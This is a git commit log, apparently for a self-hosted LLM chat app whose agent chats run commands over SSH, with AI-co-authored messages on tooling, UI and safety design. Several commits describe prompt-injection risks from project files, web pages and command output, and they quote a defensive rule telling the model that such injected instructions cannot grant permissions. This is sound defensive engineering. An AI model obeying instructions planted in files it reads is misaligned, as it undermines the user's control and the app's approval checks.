55 Commits

Author SHA1 Message Date
Jaroslav Beneš 816f2ae957 A menu for what a chat may use, and three keys
Six smaller things, all of them about the interface not saying what is true.

The @ button only ever inserted the character, which the @ key already does
without a button. It becomes the scope menu: what this chat may use, switched
off per chat. Chat.scope_json is filtered inside resolve_tools AFTER the
capability, permission and instance gates -- exactly as chat.knowledge_bases
narrows knowledge_search -- so a crafted POST turning something on reaches a
tool the gates already removed, and there is a test that writes the column
directly to prove it. Absent means on, for every key, so "why is this off?" has
one answer. It is keyed on the gate rather than the tool name, so notes is one
switch rather than five. The switches carry no role="menuitem", deliberately:
ui.js closes a picker when a menuitem is clicked, which is right for an action
menu and wrong for a list you want to set several of -- which is why the menu
needs no JavaScript at all. Typing @ is untouched.

With no skills, nothing should mention them. tool.skills was gated on the family
alone, so somebody with an empty library was told "the list below gives each
one's name" above no list, handed skill_get, and watched the model spend a round
finding out. It requires skills now; the writing half moved to
tool.skills_write, which is deliberately not gated, because saving the first one
is what somebody with none most needs. And core.tool_list finally reads
tool_names, which had been resolved and documented with no fragment using it.

The composer's toolbar is one row again. .composer__actions is last in the DOM
with margin-left:auto, so the moment an agent chat added a connection, a
directory and a mode, Send and the microphone dropped to a second line.
chat.css has no media queries by design and the fix is not to add one:
.composer__context is the single child allowed to shrink and scroll sideways.
There is a test asserting the file still contains no @media.

The effort picker shows the level in force. "Effort: default" named no level and
was true of nothing in particular; chat.resolved_effort is the chat's own value
and build_request reads the same field, so what is shown is what is sent. The
model's default is a seed, copied onto the row at creation and on a model
change, and never consulted at request time -- a fallback would resurrect it
underneath a cleared effort and make "off" silently do nothing. "off" is a
sentinel and not an empty value, because start_chat declares Form("") and cannot
tell absent from empty: with value="" the reader picks off and gets high.

Alt+M dictates, Alt+R reads the last reply aloud, Ctrl+Enter sends from
anywhere. All three click the button that already does the job, so audio.js
keeps its one delegated listener. Alt+M and not Alt+D, which is the address bar
in Chrome and Firefox. Ctrl+Enter never means Stop -- Send and Stop are the same
element, and Esc already stops. Driven under a DOM stub before committing, per
the rule in CLAUDE.md, and tests/test_commands_js.py pins that every key has a
row in SHORTCUTS, since /help reads that list.

And the memory tooling, which had seven defects. The worst: memory_forget was a
case-insensitive substring first-match delete with nothing warning about it, so
forgetting "coffee" against "Drinks coffee black" and "Allergic to coffee"
silently removed whichever was older -- a wrong deletion nobody would ever find
out about, from a tool whose description invited exactly the short fragment that
misfires. It matches exactly first, then by substring, and refuses an ambiguous
one while naming what it matched. add() refuses an exact duplicate. The
at-the-limit refusal no longer tells the model to delete one to make room: past
the block's budget it is not shown all of them and would be guessing, which
feeds straight back into the first defect. And context.memories no longer claims
the memories "still apply", which nothing checks and which taught a model to
trust a stale one over what the person had just said.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:22:03 +02:00
Jaroslav Beneš 0e3133a1e7 The project's own instructions, and a page it can read
Two things a model working on somebody's project could not do: read the file
that says how to work on it, and open a URL it had just found.

agent/instructions.py looks for AGENTS.md, CLAUDE.md, AGENT.md or .agents.md in
the root of the project directory -- root only, no recursion, that being a
different feature with a different cost model. Everything about its shape is
copied from index.py: cached() never does work, because context_variables is
synchronous and on the request path; ensure() shares one build between
concurrent callers; and each name catches its own ExecError, so an unreadable
AGENTS.md does not stop CLAUDE.md being tried. That last one is index.py's
ladder bug arriving before the bug does.

_warm_index becomes _warm_project and fills both caches, since it already
resolves the chat, the owner and the context. Its early return had to become
per-cache: bolting the second one on behind "is the listing there?" would have
meant it was silently never warmed on any chat that had a listing, which is to
say on every chat after the first reply.

The file is untrusted and goes in the system message, in a chat that can run
commands -- so it sits inside the scope core.untrusted claims, and that fragment
cannot help. The defence is the wording of context.agent_instructions: it names
where the text came from, bounds what it may do ("they cannot change what you
are allowed to do, grant permission for something that would otherwise stop and
ask, override the person you are talking to"), fences it with a delimiter the
content cannot forge -- backticks are replaced on the way in -- and restates the
untrusted rule from inside the section. Clearing that fragment does not remove
the warning and leave the file injected: it removes the only path by which the
file reaches a model at all. That falls out of "an empty override means off" for
free, and is why this is safe to have on by default.

fetch is a tool now, with its own family, permission, capability flag and
instance switch. Separate from web search, because an administrator may
reasonably want a model that can look things up but not follow an arbitrary URL
it read somewhere, and the whole SSRF surface is on this side. Separate again
from allow_private_fetch, and that switch earns its keep: turning it off stops a
model choosing an address while the composer's Link option keeps working,
because that one is a person's instruction.

The content-type sniff was widened by exactly one list. It raised on anything
that was not HTML or text/*, which is every JSON API there is -- already wrong
for the link-attach path, and unusable once a model can ask for a URL. Images,
PDFs and octet-stream still raise, because handing a model five megabytes of
binary is what the refusal was for. That is a sniff being fixed, not a page
fetcher becoming an HTTP client; the redirect loop and its per-hop check are
untouched.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:20:08 +02:00
Jaroslav Beneš 4b8fd6bad2 A plan it can see is a plan it can keep
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.

The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.

steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.

Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.

It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.

One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.

The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:14:34 +02:00
Jaroslav Beneš bc141eae10 One round for a chat, as many as it takes for an agent
Two different jobs were sharing one number. A plain conversation asking a
question is one round of looking things up and then an answer; the rounds after
that were a small model that had decided searching was the answer searching
until the context ran out, at a full request each. MAX_ROUNDS is 1 now. Several
tools can still be called within that round, which is the thing worth telling
the model.

The trade is real and worth naming: a plain chat can no longer search and then
read one of the results, because reading is a second round. That is what an
agent chat is for.

An agent chat is sized by Limits instead, where steps is now a runaway backstop
and not a working budget. It was 40 and it was reached -- a step count low
enough to be the thing that ends a reply is a count that ends it halfway. What
bounds one now is the wall clock and a new completion-token ceiling, with zero
meaning no ceiling, the same convention index_chars already uses.

That ceiling would have been decorative. generation.completion_tokens is only
populated when the endpoint sends a usage block, and llama.cpp, Ollama and
friends never do; the fallback estimate is computed once, in _run's finally,
long after the loop that needs it. So _written takes the larger of reported and
estimated, and there is a test that runs the whole thing against a stream
reporting no usage at all. A limit that works on OpenAI and silently does
nothing everywhere else is the worst kind: one that looks configured.

core.rounds could not stay one fragment. "You get at most N rounds" is not the
same sentence with a different number in it -- a model told it has a budget
rations it and stops early to report progress, which is exactly the behaviour
that strands a long piece of work. So it splits: core.rounds keeps the
one-round case and gates on a new round_budget variable that _agent_values
blanks, and core.keep_working says the other thing to an agent chat.

A queued message during a one-round reply is now never taken mid-reply -- there
is no work under way to steer -- and falls through to _drain, which gives it a
reply of its own. No code change went with that; it falls out of the guard, and
there is a test so that "it happens to work" and "it is meant to work" stop
looking the same.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:11:05 +02:00
Jaroslav Beneš 82a7ef5b58 Change part of a file without rewriting it
file_write replaces a file entirely, so a model wanting to change one line
either rewrote the whole thing from memory -- silently dropping everything it
did not happen to recall -- or shelled out to sed. file_edit takes a unified
diff instead, and services/agent/patch.py applies it.

Four behaviours carry that module, and each exists because of how models
actually write patches rather than how the format is specified.

Fuzzy offset, exact content. A hunk header is a hint: models count from a
truncated read or from the file as it was three edits ago and get the numbers
wrong, and get the context lines right. So the hinted position is tried, then
the file is scanned outward for an exact match of the context block. One match
wins; more than one refuses, because guessing between two identical blocks is
the one failure that silently corrupts a file.

Line endings are normalised in and restored out, or every hunk on a CRLF file
fails on context that looks identical in the error message. A blank context
line that lost its leading space is read as blank, because trailing whitespace
is stripped by half the things a model's output passes through. And nothing is
written unless every hunk applies: a half-applied file is worse than a refused
one, and the model cannot tell the difference without reading it again.

It refuses a file this reply has not read, in those words. A patch written from
memory either fails on context -- the good case -- or matches something it did
not mean. AgentContext.read_paths records what was read; it lives there because
runners never see a Generation and a read path is a fact about the machine, and
it is shared with the approved copy because as_approved is dataclasses.replace,
which copies field references. It resets each reply, and that is right rather
than a limitation: tool_calls_json is never replayed, so on the next turn the
model does not have the contents either.

Writes and edits both render a git-style diff in the transcript now, escaped
like everything else there and bounded at write time -- a generated file's diff
can be larger than the file, and it sits on the row forever. That costs
file_write one extra SFTP round trip to read the old contents, on the hottest
agent operation, and it is a conscious trade: it is the difference between
seeing what an agent did and having to go and look. It earns its keep twice,
because that read also counts as having read the file.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:05:36 +02:00
Jaroslav Beneš 374982174f Say what a tool did, not where it ran
An agent event set its label to the SSH profile's name, so the transcript read
"homeserver · ls -la" -- naming the machine rather than the thing that was done.
Built-in tools set no label at all and fell back to the function name, so a
saved memory read "memory_add". The status line said "Running shell_run…" and
the approval card had its own hand-written wording. Four places, four answers,
nothing checking that any of them agreed.

services/tool_labels.py is the one table all of them read now. Bash, Read,
Write, List, Web search, Memory saved; an icon each, instead of everything
being the sparkle.

The precedence is inverted on purpose. Tool events are persisted in
Message.tool_calls_json, so every agent row already on disk carries the profile
name -- a resolver that preferred the stored value would fix nothing for any
transcript that already exists. So a name the table knows resolves from the
table, and a name it does not -- a custom HTTP tool, an MCP tool, whose labels
are per row and cannot be tabulated -- keeps its own. One rule, both cases
correct. The machine moves to `detail`, where "where this ran" belongs.

tool_label and tool_icon are Jinja globals because a message bubble is rendered
from four handlers, and a fifth thing each of them must remember to pass is a
fifth thing one of them will forget.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 10:58:02 +02:00
Jaroslav Beneš 8a3a225fea Two selects that never wrote anything, and a queue
The approval card in Auto mode and the missing /effort were one bug. Both
selects hung their hx-patch on an empty sibling form reached by form="…",
and htmx binds a trigger to the annotated element: change fires on the
select and bubbles to its ancestors, which a sibling is not. The live rows
read agent_mode=manual and params_json={} while the browser showed Auto and
Effort: high. policy.py was never involved.

The verb moves onto the control; the empty form stays as value scoping,
which is the half of the CLAUDE.md note that was right. conftest gains
control_named so a test asserts the element carrying the name carries the
verb, rather than asserting the markup that was there throughout.

The composer's highlight was a third instance of the same carelessness in
CSS: .tok-mention is written for the transcript and scoped to nothing, so
the mirror painted its token in accent-coloured monospace over the
textarea's own text. Scoped under .msg; the mirror restates transparency
and font rather than inheriting them, and bleeds by box-shadow.

/effort is now offered before the first prompt and _new_chat reads it.
/index re-walks the project directory on demand, file_write drops the
listing it just invalidated, and the index ladder falls through to SFTP on
a host that refuses exec instead of returning nothing.

A second message during a reply is queued rather than starting a second
concurrent generation: a real Message row with queued set, so it survives a
restart and can be withdrawn. _drain hands one on at the end of a reply,
_inject takes one in at a tool-round boundary so an agent can be steered
mid-task. Stop leaves the queue undelivered. The terminal's Auto toggle
becomes off/copy/send, and send posts straight to the chat without touching
the composer.

@ now offers notes, skills, this chat's attachments and a URL to fetch; a
knowledge base attaches as a reference rather than a copy. copy_document
carries provenance, which was the one attach path that dropped it.

Also fixes an unrelated live bug: the round loop compared against the
global MAX_ROUNDS of 3 while sizing itself from the agent budget of 40, so
agent replies stopped after three rounds and reported forty.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 19:49:34 +02:00
Jaroslav Beneš 0bee366488 The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote
list.innerHTML before calling it. `list` is null until build() has run, so the
first `/` or `@` ever typed threw a TypeError and took the handler with it. The
menu has never appeared in any browser. That is why /compact "isn't there":
nothing was. I shipped it having only run `node --check`, which parses the file
happily.

So this also brings the thing that catches it: a DOM stub driven under node --
not committed, hard rule 1 stands, it is an instrument like curl. It reproduced
the crash in one run and immediately found two more: choosing a command from the
menu left `/help` sitting in the box so the next Enter ran it again, and Tab
completed nothing. Tab now completes and Enter runs, which is the split that
matters for a command taking an argument.

`.select--sm` was used three times and defined nowhere. I deleted the copy in
chat.css and left a comment saying it "is defined once, in app.css", where it
did not exist -- so those selects fell back to plain `.select`: width 100% in a
flex row where four siblings wanted the same, all of them shrinking together
until each was a few characters wide, and half a rem taller than everything
beside them. That was the whole of "the connection switch needs to be wider".

The connection and directory move to the topbar. They cannot change -- update_chat
refuses both with a 409 -- so they are facts about the chat, of a kind with the
Temporary badge, not controls on the message. The mode stays by the box.

Compaction says it is working. It makes a model call that takes seconds and had
no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the
Generation.status channel that says "Summarising earlier messages…" for the
automatic path cannot be borrowed, because it lives in the streaming bubble and
this endpoint refuses to run while any message is unfinished. The overflow menu
now runs the same code as /compact rather than posting for itself, so there is
one implementation, one spinner, and one place the endpoint's four carefully
written 409s finally reach somebody.

/effort, low medium high, per chat with a per-model default. It goes out twice
because there is no field that works everywhere: OpenAI and vLLM read
reasoning_effort, llama.cpp's own docs say other values "have no effect" and its
maintainer says the field "simply gets dropped without error or logging" -- what
reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once
an effort has been chosen, so a provider strict about unknown parameters sees
exactly the request it always did until somebody opts in. The control appears
only on a model marked `reasoning`, a flag that has existed since the beginning
with no reader at all.

Mentions and recognised commands are marked as you type -- a mirror behind the
textarea holding the same text with every character transparent, contributing
nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle
rather than a doubled glyph. A command is marked only when it resolves, so
`/thoughts on this` visibly is not one before you send it. And again in the
transcript, where user turns had no render step at all and now escape before
they inject.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 18:17:04 +02:00
Jaroslav Beneš a4cfb2eea4 Rewrap a paragraph
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:32:07 +02:00
Jaroslav Beneš facce7b49a Say how many tests there are now
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:31:50 +02:00
Jaroslav Beneš 2ac5c9a5e1 Bump the version the application actually reports
pyproject and lembas.__version__ are two separate strings and only the first
was moved. The one that matters at runtime is the second: base.html registers
the service worker as sw.js?v={{ version }}, so a release that does not change
it leaves every installed browser serving the previous release's JavaScript and
CSS out of cache. A visible redesign shipped behind a stale worker is a
redesign nobody sees.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:30:21 +02:00
Jaroslav Beneš 131a4083f8 The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly
offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at
the terminal's width with no way to tell a wrap from a newline -- its own comment
said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use,
and Copy, Send and an Auto toggle are built on those.

The integration is written by the PTY command string itself, with printf. sshd
runs that string through $SHELL -c, so it can case on the shell's own name and
needs no probe, no second channel and no writable home. Passing it through the
environment does not work -- every distribution ships AcceptEnv LANG LC_*, so
anything else is dropped silently -- and feeding `source ...` in as keystrokes
races a slow .zshrc, echoes into the scrollback and lands in shell history.

Nothing needs hiding, which is the point of choosing it: the setup runs before
the shell exists and never writes to the PTY's input side, so there is nothing
to echo and no fan-out gate to build.

Two things were wrong in the first version and both were found by running it
against real shells rather than the fake one. bash: the DEBUG trap fires before
every simple command *including each one inside PROMPT_COMMAND*, so $? read from
there is whatever ran a moment ago -- every command reported success. The status
is captured in the trap now, which also removes the two-entry PROMPT_COMMAND
dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the
shims were sourcing themselves and none of the user's configuration loaded; the
original is passed on the exec line.

Parsing is server-side. The `behind` path resets the terminal and replays a
truncated scrollback, so a client parser routinely sees a finish with no start;
two tabs share one shell and can disagree; and what comes out of this ends up
inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are
fanned out unchanged -- xterm consumes an OSC it has no handler for.

Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes
in has the invocation at the top and the error at the bottom. Carriage returns
collapse to the last state of each line, which is the difference between a
usable prompt and two megabytes of spinner. The fence is sized to its content,
because output containing three backticks would otherwise break out and read as
prose.

Any shell that is not bash or zsh starts exactly as it did before. The buttons
then scrape the screen and say so, and Auto is disabled rather than degraded:
forty arbitrary lines on every message is worse than nothing.

Also a generic [data-resize] handle, keyboard included, persisted the way the
theme is. The inspector and sidebar can have it whenever they want it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:28:38 +02:00
Jaroslav Beneš b6cea42631 A directory the model knows about, and @ to name a file in it
An agent chat used to open with the model knowing the name of a machine and
nothing about what was on it, so the first two rounds of every reply went on
finding out. It now gets a listing: one read-only command, `git ls-files` where
that works and `find` otherwise, falling back to an SFTP walk that always does.
git first because a repository already carries somebody's considered list of
what is not part of the project, and reproducing it by hand is how an index
ends up mostly build output.

The listing is budgeted rather than dumped. A tree of a thousand files is worse
than no tree -- it costs the window on every request forever and buries the four
names that mattered -- so directories that will not fit are shown as a count and
the model is told to open one itself. Collapsing picks the deepest and largest
first: by saving alone it would take `src/` before `src/web/static/vendor/`,
because it contains it, and lose every name worth having.

Read from a cache and never fetched. `harness.context_variables` is synchronous
and sits on the request path; the walk happens in the generation setup, which is
async and already doing network work, with a short wait. A chat whose first
reply outruns its first walk simply has no listing that turn and the fragment
disappears rather than appearing as an empty heading.

Then `@`, over the same index and over the library, and `/` for commands with an
Alt-based keyboard for the same jobs. A mentioned file arrives as contents, not
a reference -- a small model asked to call file_read often does not bother -- and
it arrives with its absolute path and the machine it came from, because a model
handed `main.py` cannot tell which of four it is and cannot name it back when
asked to change something.

The rule that matters for `/`: a message that merely starts with a slash still
sends. `//` escapes and an unrecognised command is posted as written. Swallowing
somebody's message is a much worse failure than an unknown command.

Two exceptions to Manual mode now, not one. Browsing and indexing are a person
acting, not a model, so neither passes through policy.py -- the same argument
the terminal panel rests on.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:04:41 +02:00
Jaroslav Beneš 803d808723 The composer decides what a chat is, and the topbar stops trying
The mode select in the topbar posted with hx-post against a route that only
answers PATCH, so every change returned 405 and the mode never moved. htmx
shows nothing when a request fails, so the control looked like it worked: the
select stayed where you put it and the server ignored you. It has never worked.

Two more of the same kind. A mode could not be chosen at all until the chat
existed, so reaching Plan meant sending something in Manual first and letting
the model answer under the wrong rules. And the project directory box was real
and submitted, but unlabelled and squeezed to a few characters by the select
beside it, so it read as broken -- which is how it was reported.

So the kind, the connection, the directory and the mode move out of the strip
above the text and into one toolbar row beneath it, where attach and send
already are. The directory becomes a button that opens a browser over SFTP,
because a path is something you would rather find than spell. `scan_dir` is new
beside `list_dir`: a picker has to tell a directory from a file before it can
draw the row, and `list_dir` backs a tool whose contract is a list of names and
must not change under a model mid-conversation.

Browsing is a person clicking, not a model calling, so it does not pass through
policy.py -- the same argument the terminal panel rests on. It does mean Manual
mode has a second exception now.

Also: .chip was two components with one name, and the attachment card won, so
the Chat/Agent pills silently wore its padding. --radius-md was used twice and
declared nowhere, so both fell back to 0. .btn.is-active has been set by
syncToggles since the terminal landed and styled by nothing. Enter-to-send
ignored isComposing, so committing an IME candidate sent the message. The
terminal had five colours of a sixteen-colour palette, with fallbacks from a
palette that no longer exists.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 16:44:57 +02:00
Jaroslav Beneš 621e95d2e3 Find the vhost by what it proxies to when .deploy-env is absent
The one-time WebSocket check was skipped on exactly the deployments it
was added for: install.sh writes .deploy-env, so every host installed
before this release has none, and the check gave up rather than looking.
The port is in lembas.env, and the vhost is whichever conf.d file proxies
to it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 01:47:47 +02:00
Jaroslav Beneš 5117168454 A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the
inspector and never beside it. The modes govern the model; what a person
types is theirs, since they hold the credential and could open the same
shell with an ssh client. The model cannot see the panel -- a button
copies the output you choose into the composer.

The session outlives the socket: closing the panel leaves a build
running, and coming back reattaches with the scrollback. Two tabs share
one shell and the smaller window decides the size. It ends on an idle
timeout, on deleting the chat, on disabling, moving or deleting the
connection, and on a restart -- which says why rather than quietly
opening a fresh shell that has lost the working directory.

The nginx template's `Connection ""` is right for SSE and fails every
WebSocket handshake, so `location /` now uses a `map $http_upgrade`;
update.sh grows a drift check for it, because the only symptom on a
stale vhost is a panel that cannot connect.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 01:44:07 +02:00
Jaroslav Beneš 246be1fa8e Write down what agent chats are and what will bite you
CLAUDE.md gets the entries worth having been told: that the mode is
enforced in the loop rather than the prompt and why that distinction is
load-bearing; that an approved call has to be told it was approved, or the
runners' own backstop refuses the very thing somebody just allowed; that
`registry` must know the agent tools or the harness cannot name the machine
-- the same omission that cost custom tools their guidance once already;
that each command is a fresh shell and `apt-get install` needs an update
first, which are the two likeliest sources of "the agent seems stupid";
that asyncssh's four defaults are all wrong when one unix account is
shared; and that rewind rewinds the transcript and not the machine.

"Not built yet" loses agentic execution and gains the reason nothing runs
on this host -- with the two consequences stated plainly, since they are
the ones somebody has to weigh: the security of an agent chat is the
security of the host behind its profile, and there is no "no network"
switch, because the network belongs to the far side.

README gets a section that starts with the container, because that is the
intended shape and the thing a reader has to build before any of it means
anything.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 00:29:30 +02:00
Jaroslav Beneš 16e59feab2 Plan mode proposes, and you decide whether to carry it out
`plan_submit` records an ordered set of steps and ends the turn. Offered in
Plan mode and nowhere else: it stops the reply, and a model in Auto mode
proposing a plan instead of doing the work would be obeying the wrong
instinct at the worst moment.

The plan is stored on the message rather than parsed back out of the prose,
so the button sends exactly what was proposed. It gets one more request to
say what it proposed and why -- a bubble containing only a card reads as
though the model had nothing to add -- but with the tools withdrawn, so
"one more round" cannot become three rounds of it changing its mind about a
plan somebody is being asked to approve.

Carrying it out switches to Edit, never Auto. The plan was written under a
mode where every command stopped for approval, and a button that also
removed the asking is not the button anybody pressed. It goes back quoted
and attributed, not stated: a plan whose text came out of a file the model
read must not arrive in the most trusted role in the transcript wearing the
reader's authority.

Also closes the rewind gap. Editing or regenerating a turn rewinds the
transcript and not the machine, so `rewound_at` is stamped and the harness
says so. Nothing tries to undo anything out there -- the project directory
is somebody's real working tree, and deleting their work to match a rewound
transcript would be far worse than the inconsistency.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 00:24:09 +02:00
Jaroslav Beneš a064407fa7 Agent chats run commands, and stop to ask first
The four tools an agent chat has -- shell_run, file_read, file_write,
file_list -- and the mode table wired into the loop that decides which of
them stop for approval. Verified end to end against a real Kali container
over SSH: the card shows the command, allowing it runs it there, and the
file it writes is visible from outside.

The mode is enforced in `_authorise`, in the generation loop, server-side,
keyed on each tool's declared risk. Not in the prompt: a model is told
which mode it is in so it behaves sensibly, but everything it reads -- a
web page, a README, the output of the last command -- is untrusted, and a
rule written only into a system message is one a poisoned file can argue
with. Within an agent chat every call goes through the table, including
the built-in ones, because notes_edit writes and Plan mode meaning "look
but do not touch" has to mean that too.

Two things this turned up.

The runners re-check the mode as a backstop, and that backstop refused the
very thing a person had just approved -- the mode says "ask", and asking
was exactly what happened. Approval is now threaded per call, on a copy of
the context, because a round runs its calls together and only some of them
were allowed.

And the harness said nothing at all, because `registry` maps an offered
tool *name* back to a family and did not know the agent tools existed. So
shell_run resolved to no family and the fragment naming the machine, the
directory and the mode was never admitted. The same omission cost custom
tools their guidance once already; there is a test for it now.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 00:08:48 +02:00
Jaroslav Beneš 191394fa08 Deploy the ssh extra, from one place
update.sh installed `[search]` only, so the release that added agent
connections shipped without asyncssh and the feature offered an install
hint on a machine that had just been told to install it.

The extras are now one variable, spelled the same way in install.sh and
update.sh, with a comment in both saying they have to stay in step. That is
the whole failure mode: an extra added to one of them is an extra existing
deployments silently miss.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 22:36:48 +02:00
Jaroslav Beneš 4ced049ff8 SSH connections, kept by the people who own them
An agent chat will act on a machine you choose, so this is the screen where
you choose it. User-owned like a note, not admin-owned like a connection:
these are somebody's own machines and somebody's own keys, and "anyone in
this group may log in to my server" is a different feature with a different
blast radius. services/sharing.py is deliberately not involved either --
sharing grants reading, and a host somebody else can read is a host they
can log in to.

Trust on first use, made explicit rather than assumed. Adding a host does
not connect to it. Check looks at its key and shows you the fingerprint;
nothing is sent until you accept, because get_server_host_key completes the
key exchange and stops -- no username, no credential. Accepting pins it,
and a host that later presents a different key is refused with the reason
rather than quietly trusted. Moving a profile to another host or port
forgets the pin, since a key belongs to the machine it came from.

Four asyncssh defaults are actively wrong here and all four are passed
explicitly: every LLeMbas user shares one unix account, so `known_hosts`
would be a shared trust store, `client_keys` would authenticate one person
with another's key, `config` would let a ProxyCommand redirect the
connection, and `agent_path` would silently use $SSH_AUTH_SOCK. There is a
test for exactly that, and it needs no server.

Files go over SFTP rather than through a shell. The SSH exec protocol
carries one command *string* that the far side parses, with no argv form at
all, so a model-supplied path in a command line is unavoidably a quoting
problem. Over SFTP a path is a path.

Chat gains its kind, connection, project directory and mode; the first
three are fixed once a chat has a message, because a transcript whose
earlier turns ran somewhere else is not one conversation.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 22:34:58 +02:00
Jaroslav Beneš 0a4531f02d Agents run over SSH only; put the hardening back
The local sandbox is dropped before it was built. Every hard problem in it
came from running on the machine that holds the database and the encryption
key: the service user cannot traverse /home, granting it needs ACLs,
RLIMIT_NPROC is counted per uid so a fork bomb starves the server too,
--size only applies to tmpfs so there is no disk quota, and the bind list
is a standing invitation to widen until the sandbox is decoration.

Over SSH, isolation is somebody's considered choice of host -- a throwaway
container with one project mounted into it -- using tools far better at it
than anything that could be built here. It is also the only version that is
honestly multi-user: each person brings their own credentials and their own
machine, and picks a project directory on it.

So ProtectKernelTunables goes back. It was removed for exactly one reason,
that bubblewrap cannot mount /proc without it, and that reason is gone. The
agents settings group loses everything bwrap-shaped with it.

What this costs, and the admin copy has to say so: there was a network:False
switch that made exfiltration from a compromised reply impossible, and over
SSH there is no equivalent, because the network belongs to the far side.
The security of an agent chat is now the security of the host behind its
profile, and LLeMbas cannot tell a scratch container from a live server.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 22:12:48 +02:00
Jaroslav Beneš 671e49cae8 Ask several questions on one card
One `ask_user` call can now carry several questions, and they come back in a
single submit. Asking one at a time cost a round trip and an interruption
each, and by the third you had forgotten the first.

Each question becomes an item with its own key; several items share a call
index, because they belong to one call and one tool turn has to answer them
all. Each answer is quoted beside the question it belongs to -- with four on
a card, a bare list would leave the model matching them up by position and
sometimes getting it wrong.

Options are radios rather than submit buttons, so picking one does not send
the form while two other questions are still blank. What you type beats what
you picked: someone who writes in the box after clicking an option meant the
writing.

`_questions_in` also reads the shapes a small model actually sends -- a bare
`question` string, a list of plain strings, one object where a list belonged.
Getting that wrong costs a whole round trip and shows a card saying nothing.

Two test fixes, both mine. `test_posting_a_message_stores_both_turns` raced
the background generation it started: against a connection that refuses
instantly the reply sometimes won, writing the error and marking the row
complete before the assertions could read it. And the generation registry is
module-global, so a test that started a reply left an entry -- and a Task
belonging to a closed event loop -- for the rest of the session.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 22:01:46 +02:00
Jaroslav Beneš 8c3fe97939 Say when the systemd unit has moved on
update.sh pulls the code and restarts, and says nothing about the unit --
so a host can run a new release under the old confinement and fail in a
way that points nowhere. Dropping ProtectKernelTunables is exactly such a
change: without it applied, an agent chat cannot start a sandbox at all.

It compares the *template* against the one last applied here rather than
against the installed file. An installed unit grows host-specific lines --
an ordering dependency on whatever serves the models, a note about how the
prefix is mounted -- and diffing the files would warn about those forever.
A warning that always fires is one nobody reads.

Reinstalling automatically would clobber those same lines, so it only says
so and leaves the merge to a person.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 19:35:42 +02:00
Jaroslav Beneš b39e4eac88 A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be
